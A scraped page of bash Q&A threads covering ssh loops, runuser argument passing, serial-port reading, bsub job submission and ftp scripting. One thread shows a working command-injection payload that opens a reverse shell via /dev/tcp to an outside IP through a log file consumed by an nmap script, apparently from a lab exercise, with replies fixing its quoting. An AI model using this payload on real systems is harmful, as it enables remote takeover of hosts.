How to properly format an 'if' statement being passed to a remote server in a when using 'while read'? - bash

Ubuntu 18
Bash 4.4.0
I am wanting to pass an if statement to see whether or not a directory exist. If it does, I want to some commands and then a file. I have read through the similar posts but shellcheck complains about my formatting.
Script:
#!/bin/bash
testing="yes"
scriptDir="/root/.work"
wDir="${scriptDir}/.nginx-fix"
if [ "$testing" = "no" ]; then
hostfile="${scriptDir}/.zzz-hostnames"
else
hostfile="${scriptDir}/.zzz-hostnames-tester"
fi
cd "$wDir"
while read fqdn; do
{ clear; echo ""; echo ""; echo "$hostname"; echo ""; }
< /dev/null if ssh -p 34499 root#"${fqdn}" '[ -d /etc/nginx ]'; then
< /dev/null ssh -p 34499 root#"${fqdn}" 'mv /etc/nginx/nginx.conf /etc/nginx/.nginx-sept-30'
< /dev/null scp -P 34499 nginx.conf root#"${fqdn}":/etc/nginx
< /dev/null ssh -p 34499 root#"${fqdn}" 'sed -i "/honeypot/d" /etc/nginx/conf.d/*.conf'
< /dev/null ssh -p 34499 root#"${fqdn}" 'nginx -t'
else
exit 1;
fi
done<"${hostfile}"
Shellcheck complaint:
root#me ~/.work/.nginx-fix # shellcheck .nginx-fixer.sh
In .nginx-fixer.sh line 13:
while read fqdn; do
^-- SC1073: Couldn't parse this while loop.
^-- SC1061: Couldn't find 'done' for this 'do'.
In .nginx-fixer.sh line 15:
< /dev/null if ssh -p 33899 root#"${fqdn}" '[ -d /etc/nginx ]'; then
^-- SC1062: Expected 'done' matching previously mentioned 'do'.
^-- SC1072: Expected "#". Fix any mentioned problems and try again.
I'd appreciate your thoughts.

You can refactor the script to a clearer version and remove all the </dev/null:
while read -r fqdn; do {
{ clear; echo ""; echo ""; echo "$hostname"; echo ""; }
if ssh -p 34499 root#"${fqdn}" '[ -d /etc/nginx ]'; then
ssh -p 34499 root#"${fqdn}" 'mv /etc/nginx/nginx.conf /etc/nginx/.nginx-sept-30'
scp -P 34499 nginx.conf root#"${fqdn}":/etc/nginx
ssh -p 34499 root#"${fqdn}" 'sed -i "/honeypot/d" /etc/nginx/conf.d/*.conf'
ssh -p 34499 root#"${fqdn}" 'nginx -t'
else
exit 1;
fi
} </dev/null; done < "${hostfile}"
Almost invisible to the eye, I have put all the commands inside do ... done inside { .. } </dev/null. That way any command won't read from ${hostfile} and won't mess with while read.
Another option is to use a dedicated file descriptor and pass its number to read:
while read -r -u 10 fqdn; do
{ clear; echo ""; echo ""; echo "$hostname"; echo ""; }
if ssh -p 34499 root#"${fqdn}" '[ -d /etc/nginx ]'; then
ssh -p 34499 root#"${fqdn}" 'mv /etc/nginx/nginx.conf /etc/nginx/.nginx-sept-30'
scp -P 34499 nginx.conf root#"${fqdn}":/etc/nginx
ssh -p 34499 root#"${fqdn}" 'sed -i "/honeypot/d" /etc/nginx/conf.d/*.conf'
ssh -p 34499 root#"${fqdn}" 'nginx -t'
else
exit 1;
fi
done 10<"${hostfile}"

Running the script via 'bash -n' will indicate the 'real' error:
bash -n x.sh
x.sh: line 15: syntax error near unexpected token `then'
x.sh: line 15: ` < /dev/null if ssh -p 34499 root#"${fqdn}" '[ -d /etc/nginx ]' ; then'
You can not place redirection before on the 'if' statement. Move the redirection to the 'ssh' (condition part of the if) command, for example:
# USE:
if ssh < /dev/null -p 34499 root#"${fqdn}" '[ -d /etc/nginx ]' ; then'
# AND NOT:
< /dev/null if ssh -p 34499 root#"${fqdn}" '[ -d /etc/nginx ]' ; then'

Related

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

How to make runuser correctly forward all command line arguments, instead of trying to interpret them?

I got this simple script:
#!/bin/bash
SOURCE_USER=$USER
DESTINE_USER=$1
id -u $SOURCE_USER > /dev/null 2>&1
if [ "$?" == "1" ] || [ -z $SOURCE_USER ]
then
printf "Error: Invalid source user '$SOURCE_USER'\\n"
exit 1
fi
if [ -z $DESTINE_USER ]
then
printf "Error: Invalid destine user '$DESTINE_USER'\\n"
exit 1
fi
SOURCE_GROUPS=$(id -Gn ${SOURCE_USER} | sed "s/${SOURCE_USER} //g" | sed "s/ ${SOURCE_USER}//g" | sed "s/ /,/g")
SOURCE_SHELL=$(awk -F : -v name=${SOURCE_USER} '(name == $1) { print $7 }' /etc/passwd)
id -u $DESTINE_USER > /dev/null 2>&1
if [ "$?" == "1" ]
then
printf "Creating destine user %s\\n" "$DESTINE_USER"
useradd --groups ${SOURCE_GROUPS} --shell ${SOURCE_SHELL} --create-home ${DESTINE_USER}
passwd ${DESTINE_USER}
xhost '+si:localuser:$DESTINE_USER'
sudo usermod -G "$SOURCE_USER" "$DESTINE_USER"
else
printf "Updating destine user '%s' with groups '%s' and shell '%s'\\n" "$DESTINE_USER" "$SOURCE_GROUPS" "$SOURCE_SHELL"
sudo usermod -a -G "$SOURCE_GROUPS" "$DESTINE_USER"
sudo chsh -s "$SOURCE_SHELL" "$SOURCE_USER"
fi
sudo runuser sublime_vanilla -c "${#:2}"
I run it like this:
$ bash run_as_user.sh sublime_vanilla /usr/bin/subl -n "./New Empty File"
But when I run it, I got this error:
runuser: invalid option -- 'n'
Try 'runuser --help' for more information.
But if I replace sudo runuser sublime_vanilla -c "${#:2}" with sudo runuser sublime_vanilla -c "\"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"${#:9}\""
Then, Sublime Text correctly opens the file "./New Empty File" in a new window.
How to make runuser correctly understand all argument with a variable number of command line arguments, i.e., without hard coding "\"$2\" \"$3\" \"$4\" ..."?
This is slightly different from your last question because you have to make the expansion of the arguments into a single string for the -c option.
The bash printf formatter %q is your friend here:
cmd=$( printf '%q ' "${#:2}" )
sudo runuser sublime_vanilla -c "$cmd"
On the other hand, a quick perusal through the runuser man page suggests:
sudo runuser -u sublime_vanilla "${#:2}"
Another thought: sudo runuser -u sublime_vanilla -- "${#:2}" with the double hyphens to indicate the end of the runuser options.

reading from serial using shellscript

I have a serial port device that I would like to test using Linux command line.
And if I run the following command from terminal, it gives output
cat < /dev/ttyS0 &
This command opens the serial port and relays what it reads from it to its stdout.So, I tried it from shell script file but it is not working
fName="test.txt";
awk '
BEGIN { RS = "" ; FS = "\n" }
{
address = '/dev/ttyS0';
system("cat < " address );
}
END {
}' "$fName";
But it is not working and giving output.How can I listen to communication between a process and a serial port? Thanks
Using awk timeouts
I've successfully read something under dash, be using GAWK_READ_TIMEOUT environment variable:
out=`GAWK_READ_TIMEOUT=3000 awk '{print}' </dev/ttyS0 & sleep 1 ; echo foo >/dev/ttyS0`
On my terminal, this output:
echo "$out"
foo
Password:
or
echo "$out"
Login incorrect
testhost login:
Using bash timeouts
You could use FD under bash as:
exec 5>/dev/ttyS0
exec 6</dev/ttyS0
while read -t .1 -u 6 line;do
echo $line
done
or, to read unfinished lines:
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
echo
So you could:
echo 'root' >&5
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
echo 'password is 1234' >&5
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
... Once done, you could close FD by running:
exec 6<&-
exec 5>&-
Sample bash poor terminal script
I've logged and test some commands with:
#!/bin/bash
exec 5>/dev/ttyS0
exec 6</dev/ttyS0
readbuf() {
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
};
while [ "$cmd" != "tquit" ] ;do
readbuf
read cmd
echo >&5 "$cmd"
done

bsub post processing script

I was writing a script for submitting parallel jobs in cluster using bsub command
while read p; do
cd $(echo $p | tr -d '\r')
echo Submitting test: $p
bsub -P <project> -Jd <job desc> -o lsf.log "sh ./run_test.sh &> $log"
cd - &> /dev/null
done < $filename
How can I compile the results at the end of all test runs?
How about using something like this?
while read p; do
cd "$(echo "$p" | tr -d '\r')"
echo "Submitting test: $p"
bsub -P <project> -Jd <job desc> -o lsf.log \
"sh ./run_test.sh &> '$log' && cat '$log' >> /path/to/combined/log"
cd - &> /dev/null
done < "$filename"
When each job finishes successfully, the output file is concatenated with the rest.

ftp while do error

Anyone can help what will be the problem?
Host='192.153.222.1'
User='ftpuser'
passwd='apple'
logfile='a.log'
while :; do
ftp -n -p -v $HOST < example.script >> $logfile
grep -qF "Connected" $logfile &&
grep -qF "File successfully transferred" $logfile && break
done
quote USER $USER
quote PASS $PASSWD
example.script contains
put example.txt
The error is
./example.sh: line 20: syntax error: unexpected end of file
Some fixes:
You missed the closing quote in:
Host='192.153.222.1'
Use a single <, otherwise it's an "here document" in:
ftp -n -p -v "$HOST" < example.script >> "$logfile"
Why you use << in this line?
ftp -n -p -v $HOST << example.script >> $logfile
Change it to
ftp -n -p -v $HOST < example.script >> $logfile
It will work :-)

Resources